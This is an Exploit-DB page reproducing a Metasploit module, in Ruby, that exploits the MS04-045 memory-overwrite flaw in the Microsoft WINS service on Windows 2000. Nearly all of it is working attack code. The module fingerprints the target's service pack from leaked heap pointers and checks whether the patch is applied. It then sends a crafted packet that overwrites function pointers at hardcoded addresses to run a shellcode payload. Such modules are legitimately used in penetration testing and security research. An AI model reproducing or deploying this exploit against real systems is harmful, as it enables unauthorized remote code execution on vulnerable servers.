Microsoft WINS – Service Memory Overwrite (MS04-045) (Metasploit)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16359/
  • ##
    # $Id: ms04_045_wins.rb 10394 2010-09-20 08:06:27Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::Tcp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Microsoft WINS Service Memory Overwrite',
    			'Description'=> %q{
    				This module exploits an arbitrary memory write flaw in the
    				WINS service. This exploit has been tested against Windows
    				2000 only.
    
    			},
    			'Author' => [ 'hdm' ],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					[ 'CVE', '2004-1080'],
    					[ 'OSVDB', '12378'],
    					[ 'BID', '11763'],
    					[ 'MSB', 'MS04-045'],
    
    				],
    			'Privileged' => true,
    			'DefaultOptions'=>
    				{
    					'EXITFUNC' => 'process',
    				},
    			'Payload'=>
    				{
    					'Space'=> 8000,
    					'MinNops'=> 512,
    					'StackAdjustment' => -3500,
    
    				},
    			'Targets'=>
    				[
    					[
    						'Windows 2000 English', # Tested OK - 11/25/2005 hdm
    						{
    							'Platform' => 'win',
    							'Rets' => [ 0x5391f40, 0x53df4c4, 0x53922e0],
    						},
    					],
    				],
    			'DisclosureDate' => 'Dec 14 2004',
    			'DefaultTarget' => 0))
    
    			register_options(
    				[
    					Opt::RPORT(42)
    				], self.class )
    	end
    
    	def check
    		ret = fprint()
    
    		info = 'This system is running '
    		info << ((ret[1] == '?') ? 'an unknown windows version ' : "Windows #{ret[1]} ")
    		info << ((ret[2] == '?') ? '' : "with service pack #{ret[2]} ")
    		info << (ret[3] ? '(clean heap)' : '(dirty heap)')
    
    		print_status(info)
    		return ret[0]
    	end
    
    	def exploit
    		ret = fprint()
    
    		if (ret[0] != Exploit::CheckCode::Vulnerable)
    			print_status("This system does not appear to be vulnerable")
    			return
    		end
    
    		# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
    		# same function pointer...
    		if (ret[1] != '2000' or ret[2] !~ /^[0234]/)
    			print_status("This target is not currently supported")
    			return
    		end
    
    		# This flag is un-set if the first leaked address is not the default of
    		# 0x05371e90. This can indicate that someone has already tried to exploit
    		# this system, or something major happened to the heap that will probably
    		# prevent this exploit from working.
    		if (not ret[3])
    			print_status("Warning: the leaked heap address indicates that this attack may fail");
    		end
    
    		# The base address of our structure in memory
    		base = target['Rets'][0]
    
    		# Address of the function pointers to overwrite (courtesy anonymous donor)
    		targ = target['Rets'][1]
    
    		# Address of the payload on the heap, past the structure
    		code = target['Rets'][2]
    
    		# Build up the wins packet
    		addr = ''
    		addr << ([code].pack('V') * 9)
    		addr << ([targ - 0x48].pack('V') * 14)
    
    		wins = addr * 10
    		wins << payload.encoded
    		wins << rand_text_english(9200-wins.length, payload_badchars)
    
    		wpkt = [wins.length + 8, -1, base].pack('NNN')
    		wpkt << wins
    
    		print_status(sprintf("Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", targ, code, base))
    
    		# Connect and send the request
    		connect
    		sock.put(wpkt)
    		handler
    		disconnect
    	end
    
    	# This fingerprinting routine will cause the structure base address to slide down
    	# 120 bytes. Subsequent fingerprints will not push this down any futher, however
    	# we need to make sure that fingerprint is always called before exploitation or
    	# the alignment will be way off.
    	def fprint
    
    		ret = [Exploit::CheckCode::Safe, '', '', '']
    
    		req = "\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00"+
    			"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05"+
    			"\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03"+
    			"\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00"
    
    		connect
    		sock.put(req)
    		data = sock.get_once
    		return ret if not data
    
    		ptrs = [ data[16,4].unpack('N')[0] ].concat( data[32,12].unpack('VVV') )
    
    		print_status(sprintf("WINS Fingerprint: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", *ptrs))
    
    		os = '2000'
    		sp = '?'
    		vi = false
    
    		# Check for Windows 2000 systems
    		case ptrs[3]
    			when 0x77f8ae78
    				sp = '0'
    			when 0x77f81f70
    				sp = '1'
    			when 0x77f82680
    				sp = '2'
    			when 0x77f83608
    				sp = '3'
    			when 0x77f89640
    				sp = '4'
    			when 0x77f82518
    				sp = '5'
    			when 0x77f81648 # Contributed by grutz[at]jingojango.net
    				sp = '3/4'
    		end
    
    		# Reset the OS string if no match was found
    		os = '?' if sp == '?'
    
    		# Check for Windows NT 4.0 systems
    		if (ptrs[0] > 0x02300000 and ptrs[0] < 0x02400000)
    			os = 'NT'
    			sp = '?'
    		end
    
    		# Heap is still pristine...
    		vi = true if ptrs[0] == 0x05371e90
    
    		# Determine if the patch has already been applied
    		req = "\x00\x00\x00\x0F\x00\x00\x78\x00" + data[16, 4] +
    			"\x00\x00\x00\x03\x00\x00\x00\x00"
    
    		sock.put(req)
    		data = sock.get_once
    		disconnect
    
    		ret[1] = os
    		ret[2] = sp
    		ret[3] = vi
    
    		if (data and data[6, 1] == "\x78")
    			ret[0] = Exploit::CheckCode::Vulnerable
    		end
    
    		return ret
    	end
    
    end